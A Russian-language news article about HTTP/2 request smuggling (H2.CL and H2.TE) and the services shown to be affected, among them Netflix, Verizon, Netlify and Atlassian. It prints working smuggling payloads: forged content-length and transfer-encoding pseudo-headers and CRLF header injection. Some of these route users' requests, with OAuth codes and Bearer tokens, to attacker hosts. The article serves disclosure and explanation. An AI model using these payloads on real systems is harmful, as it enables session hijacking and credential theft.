Новая атака на системы фронтэнд-бэкенд, позволяющая вклиниться в запросы

Web-системы, в которых фронтэнд принимает соединения по HTTP/2 и передаёт бэкенду по HTTP/1.1, оказались подвержены новому варианту атаки «HTTP Request Smuggling», позволяющей через отправку специально оформленных клиентских запросов вклиниваться в содержимое запросов других пользователей, обрабатываемых в том же потоке между фронтэндом и бэкендом. Атака может быть использована для подстановки вредоносного JavaScript-кода в сеанс с легитимным сайтом, обхода систем ограничения доступа и перехвата параметров аутентификации.

Проблеме подвержены web-прокси, балансировщики нагрузки, web-акселераторы, системы доставки контента и прочие конфигурации, в которых запросы перенаправляются по схеме фронтэнд-бэкенд. Автор исследования продемонстрировал возможность атаки на системы Netflix, Verizon, Bitbucket, Netlify CDN и Atlassian, и получил 56 тысяч долларов в программах по выплате вознаграждений за выявление уязвимостей. Наличие проблемы также подтверждено в продуктах F5 Networks. Частично проблема затрагивает mod_proxy в http-сервере Apache (CVE-2021-33193).

Средства для проведения атак уже добавлены в инструментарий Burp и доступны в форме расширения Turbo Intruder.

Принцип действия нового метода вклинивания запросов в трафик аналогичен уязвимости, выявленной тем же исследователем два года назад, но ограниченной фронтэндами, принимающими запросы по HTTP/1.1.
Напомним, что в схеме фронтэнд-бэкенд запросы клиентов принимает дополнительный узел — фронтэнд, который устанавливает долгоживующее TCP-соединение с бэкендом, осуществляющим непосредственную обработку запросов. Через данное общее соединение обычно передаются запросы разных пользователей, которые следуют по цепочке один за другим с разделением средствами протокола HTTP.

Классическая атака «HTTP Request Smuggling» основывалась на том, что фронтэнды и бэкенды по разному трактуют использование HTTP-заголовков «Content-Length» (определяет общий размер данных в запросе) и «Transfer-Encoding: chunked» (позволяет передавать данные по частям). Например, если фронтэнд поддерживает только «Content-Length», но игнорирует «Transfer-Encoding: chunked», то атакующий может отправить запрос, в котором одновременно указаны заголовки «Content-Length» и «Transfer-Encoding: chunked», но размер в «Content-Length» не соответствует размеру chunked-цепочки. В этом случае фронтэнд обработает и перенаправит запрос в соответствии с «Content-Length», а бэкенд будет ожидать завершения блока на основе «Transfer-Encoding: chunked» и оставшийся хвост запроса атакующего окажется вначале чужого запроса, переданного следом.

В отличие от текстового протокола HTTP/1.1, разбор которого осуществляется на уровне строк, HTTP/2 является бинарным протоколом и манипулирует блоками данных заранее указанного размера. При этом в HTTP/2 используются псевдо-заголовки, соответствующие обычным заголовкам HTTP. В случае взаимодействия с бэкендом по протоколу HTTP/1.1, фронтэнд транслирует эти псевдо-заголовки в аналогичные HTTP-заголовки HTTP/1.1. Проблема в том, что бэкенд принимает решения о разборе потока уже на основе выставленных фронтэндом HTTP-заголовков, не имея сведений о параметрах изначального запроса.

В том числе в форме псевдо-заголовков могут быть переданы значения «content-length» и «transfer-encoding», несмотря на то, что в HTTP/2 они не используются, так как размер всех данных определяется в отдельном поле. Тем не менее, в процессе преобразования запроса HTTP/2 в HTTP/1.1 данные заголовки переносятся и могут ввести в заблуждение бэкенд. Выделяется два основных варианта атаки: H2.TE и H2.CL, в которых бэкенд вводится в заблуждение некорректным значением transfer-encoding или content-length, не соответствующим реальному размеру тела запроса, поступившего к фронтэнду по протоколу HTTP/2.

В качестве примера атаки H2.CL приводится указание некорректного размера в псевдо-заголовке content-length при отправке запроса HTTP/2 к Netflix. Данный запрос приводит к добавлению аналогичного HTTP-заголовка Сontent-Length при обращении к бэкенду по HTTP/1.1, но так как размер в Сontent-Length указан меньше фактического, то часть данных в хвосте обрабатывается как начало следующего запроса.

Например, запрос HTTP/2


   :method	POST
   :path	/n
   :authority	www.netflix.com
   content-length	4
   abcdGET /n HTTP/1.1
   Host: 02.rs?x.netflix.com
   Foo: bar

Приведёт к отправке бэкенду запроса:


   POST /n HTTP/1.1
   Host: www.netflix.com
   Content-Length: 4

   abcdGET /n HTTP/1.1
   Host: 02.rs?x.netflix.com
   Foo: bar

Так как Content-Length имеет значение 4, то бэкенд воспримет в качестве тела запроса только «abcd», а остальную часть «GET /n HTTP/1.1…» обработает как начало следом идущего запроса, привязанного к другому пользователю. Соответственно, произойдёт рассинхронизация потока и в ответ на следом идущий запрос будет выдан результат обработки подставного запроса. В случае с Netflix указание стороннего хоста в заголовке «Host:» в подставном запросе привело к выводу клиенту ответа «Location: https://02.rs?x.netflix.com/n» и позволило передать клиенту произвольное содержимое, в том числе выполнить свой JavaScript-код в контексте сайта Netflix.

Второй вариант атаки (H2.TE) связан с подстановкой заголовка «Transfer-Encoding: chunked». Использование псевдо-заголовка transfer-encoding в HTTP/2 запрещено спецификацией и запросы с ним предписано трактовать как некорректные. Несмотря на это, некоторые реализации фронтэндов не учитывают данное требование и допускают использование псвевдо-заголовка transfer-encoding в HTTP/2, который преобразуется в аналогичный заголовок HTTP. При наличии заголовка «Transfer-Encoding» бэкенд может воспринять его более приоритетным и выполнить разбор данных по частям в режиме «chunked» с использованием блоков разного размера в формате «{размер}rn{блок}rn{размер}rn{блок}rn0», несмотря на изначальное разделение по общему размеру.

Наличие подобной бреши было продемонстрировано на примере компании Verizon. При этом проблема касалась портала аутентификации и системы управления контентом, которая также используется на таких сайтах как Huffington Post и Engadget. Например, запрос клиента по HTTP/2:


   :method	POST
   :path	/identitfy/XUI
   :authority	id.b2b.oath.com
   transfer-encoding	chunked 
   0

   GET /oops HTTP/1.1
   Host: psres.net
   Content-Length: 10

   x=

Приводил к передаче бэкенду запроса HTTP/1.1:


   POST /identity/XUI HTTP/1.1
   Host: id.b2b.oath.com
   Content-Length: 66
   Transfer-Encoding: chunked

   0

   GET /oops HTTP/1.1
   Host: psres.net
   Content-Length: 10

   x=

Бэкенд, в свою очередь, игнорировал заголовок «Content-Length» и выполнял разделение в потоке на основе «Transfer-Encoding: chunked».
На практике атака позволила перенаправить запросы пользователей на свой сайт и в том числе перехватить запросы, связанные с аутентификацией OAuth, параметры которых светились в заголовке Referer, а также симулировать сеанс аутентификации и инициировать отправку системой пользователя учётных данных на хост атакующего.


   GET /b2blanding/show/oops HTTP/1.1
   Host: psres.net
   Referer: https://id.b2b.oath.com/?…&code=secret

   GET / HTTP/1.1
   Host: psres.net
   Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Для атаки на реализации HTTP/2, не допускающие указание псевдо-заголовка transfer-encoding, был предложен ещё один метод, связанный с подстановкой заголовка «Transfer-Encoding» через его прикрепление к другим псевдо-заголовкам с разделением символом перевода строки (при преобразовании в HTTP/1.1 в подобном случае создаётся два отдельных HTTP-заголовка).

Например указанной проблеме оказались подвержены Atlassian Jira и Netlify CDN (используется для отдачи стартовой страницы Mozilla в Firefox). В частности, запрос HTTP/2


   :method	POST
   :path	/
   :authority	start.mozilla.org
   foo	brn
   transfer-encoding: chunked
   0rn
   rn
   GET / HTTP/1.1rn
   Host: evil-netlify-domainrn
   Content-Length: 5rn
   rn
   x=

приводил к отправке бэкенду запроса HTTP/1.1


   POST / HTTP/1.1rn
   Host: start.mozilla.orgrn
   Foo: brn
   Transfer-Encoding: chunkedrn
   Content-Length: 71rn
   rn
   0rn
   rn
   GET / HTTP/1.1rn
   Host: evil-netlify-domainrn
   Content-Length: 5rn
   rn
   x=

Ещё одним вариантом подстановки заголовка «Transfer-Encoding» стало прикрепление его к имени другого псевдозаголовка или к строке с методом запроса. Например, при обращении к Atlassian Jira имя псевдо-заголовка «foo: barrntransfer-encoding» со значением «chunked» приводило к добавлению HTTP-заголовков «foo: bar» и «transfer-encoding: chunked», а указание в псевдо-заголовке «:method» значения «GET / HTTP/1.1rnTransfer-encoding: chunked» транслировалось в «GET / HTTP/1.1rntransfer-encoding: chunked».

Выявивший проблему исследователь также предложил технику туннелинга запросов для совершения атаки на фронтэнды, в которых для каждого IP-адреса устанавливается отдельное соединение с бэкендом и трафик разных пользователей не смешивается. Предложенная техника не позволяет вклиниваться в запросы других пользователей, но даёт возможность отравить общий кэш, влияющий на обработку других запросов, и позволяет выполнить подстановку внутренних HTTP-заголовков, используемых для передачи служебных сведений от фронтэнда к бэкенду (например, при аутентификации на стороне фронтэнда в подобных заголовках бэкенду могут передаваться сведения о текущем пользователе). В качестве примера применения метода на практике при помощи отравления кэша удалось получить контроль за страницами в сервисе Bitbucket.

Источник: http://www.opennet.ru/opennews/art.shtml?num=55601